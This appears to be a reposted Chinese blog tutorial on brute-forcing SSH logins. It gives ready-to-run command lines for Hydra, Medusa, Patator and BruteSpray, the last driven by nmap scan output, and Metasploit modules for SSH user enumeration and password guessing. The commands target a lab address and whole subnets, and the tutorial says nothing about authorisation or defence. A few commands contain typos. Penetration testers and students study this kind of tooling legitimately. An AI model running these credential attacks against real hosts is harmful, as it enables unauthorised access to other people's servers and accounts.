SSH暴力破解实战

一.hydra【海德拉】

海德拉(Hydra):希腊神话中的九头蛇,是西方的神话生物,在古希腊神话中出现最为频繁。传说它拥有九颗头,其中一颗头要是被斩断,立刻又会生出两颗头来。
Hydra是世界顶级密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。

1.指定用户破解:

hydea -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.1680.0/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -p pws.txt -M targets.txt ssh
hydra -l root -P pass.list 192.168.75.158 ssh

2.用户列表破解:

hydra -L userlist.txt -P passlist.txt 192.168.75.158 ssh
hydra -L userlist.txt -P passlist.txt -M hostlist.txt ssh
hydra -l root -P pass.list 192.168.75.158 ssh -o hydrassh.txt

二.medusa[美杜莎]

美杜莎是希腊神话里的一个女妖怪,她的头发是毒蛇,长的青面獠牙,她知道自丑,她要报复,她把见过她的人都变成了石头。据说她原是一位美丽的少女,之所以变成蛇发女妖是因为梅杜莎和智慧女神雅典娜比美,雅典娜一怒之下将梅杜莎的头发变成毒蛇,变成面目丑陋的怪物。
Medusa[美杜莎]是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机、用户或密码执行强力测试。Medusa和Hydra一样,同样于在线密码破解工具。不同的是,Medusa的稳定性相较于Hydra要好很多,但其支持模块要比Hydra少一些。
Medusa [ -h host | -H file] [ -u username | -U file] [-p password | -p file ] [ -C file ]

选项 功能说明
-h [TEXT] 目标主机名称或者IP地址
-H [FILE] 包含目标主机名称或者IP地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-p [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-O [FILE] 日志信息文件
-e [n/s/ns] n代表空密码,s代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认Tcp端口
-s 启用SSl
-r [NUM] 重试间隔时间,默认未3秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计
-q 显示模块的使用信息
-v [NUM] 详细级别(0-6)
-w [NUM] 错误调试级别(0-10)
-V 显示版本
-Z [TEXT] 继续扫描上一次

medusa -M ssh -u root -P pass.list -h 192.168.75.158
medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt
medusa -M ssh -u root -P pass.list -h 192.168.75.158 -O medusa.txt

三.Patator强大的命令行暴力破解器

查看模块: #patator
查看模块具体用法:#patator --ssh_login --help
#patator ssh_login host=192.168.75.158 user=root password=FILE0 0=passlist.txt
#patator ssh_login host=192.168.75.158 user=FILE0 0=user.list password=FILE1 1=pass.list
#patator ssh_login host=192.168.75.158 user=FILE0 0=user.list password=FILE1 1=pass.list -x ignore:mesg=‘Authentication failed.’

四.BrutesPray

BrutesPray是一款基于nmap扫描输出的gnmap/XML文件。自动调用Medusa对服务进行爆破。

1.安装brutespray

#apt-get update
#apt-get install brutespray

2.语法参数:

选项 功能说明
-f或 --flie 接一个文件名, 解析nmap输出的 GNMAP 或者 XML 文件
-s或 --service 接一个服务名, 指定要攻击的服务
-t 或 --threads 接一数值,指定线程数
-T 或 --hosts 接一数值,指定同时测试的主机数
-U 或 --userlist 接一个用户字典文件
-P 或 --passlist 接一个密码字典文件
-u 或 --username 接用户名,指定一个用户名进行爆破
-p 或 --password 接一个密码,指定一个密码进行爆破
-c 或 --continuous 成功之后继续爆破
-I 或 --interactive 交互模式

3.Nmap扫描常用命令

命令 功能说明
nmap -ip地址
nmap -v ip地址 显示扫描过程
nmap -p80,8080 指定端口扫描
nmap -A ip 综合扫描
nmap -O ip 扫描主机操作系统
nmap -iL 文件 扫描指定文件中的IP
nmap -sS SYN扫描 使用SYN半开放扫描
nmap -sT TCP扫描 扫描开放了TCP端口的设备
nmap -F 快速扫描
nmap -sV 版本检测 用于扫描目标主机服务版本号. 探测打开的端口以确定服务/版本信息
nmap -sR RPC扫描
nmap -sU 探测那些UDP端口开放
nmap -sO 用于判断目标主机上使用的是神魔协议 探测目标主机支持哪些IP协议
nmap -oX 表示以xml的格式输出结果到以文件
-P0 跳过ping的探测,可以加快扫描速度.
-sP ping扫描
-T [0-6] 设置定时模板(越高越快)

4.对SSH密码进行爆破

#nmap -sV -p 22 192.168.75.0/24 -oX nmaplive.xml
#brutespray --file nmaplive.xml -u root -P pass.list -c
#cat /root/brutespray-output/22-ssh-success.txt   查看爆破成功的文件内容

五.Metasploit Framework

Metasploit Framework(简称MSF)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试,Shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Perl编程语言编写的,并带有由C语言,汇编程序和Python编写的可选组件。
#msfconsole
msf > search ssh

1.MSF枚举(找用户)

msf > use auxiliary/scanner/ssh/ssh_enumusers 
msf auxiliary(scanner/ssh/ssh_enumusers) > show options 
msf auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.75.158   设置目标主机
msf auxiliary(scanner/ssh/ssh_enumusers) > set user_file /root/user.list
msf auxiliary(scanner/ssh/ssh_enumusers) > set threads 10
msf auxiliary(scanner/ssh/ssh_enumusers) > show options
msf auxiliary(scanner/ssh/ssh_enumusers) > run

2.MSF版本探测

msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(scanner/ssh/ssh_version) > show options
msf auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.75.158
msf auxiliary(scanner/ssh/ssh_version) > show options
msf auxiliary(scanner/ssh/ssh_version) > run

3.MSF暴力破解

msf auxiliary(scanner/ssh/ssh_version) > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > show options
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.75.158
msf auxiliary(scanner/ssh/ssh_login) > set pass_file /root/pass.list
msf auxiliary(scanner/ssh/ssh_login) > set user_file /root/user.list
msf auxiliary(scanner/ssh/ssh_login) > run
发布了13 篇原创文章 · 获赞 12 · 访问量 767

猜你喜欢

转载自blog.csdn.net/zjdda/article/details/105031176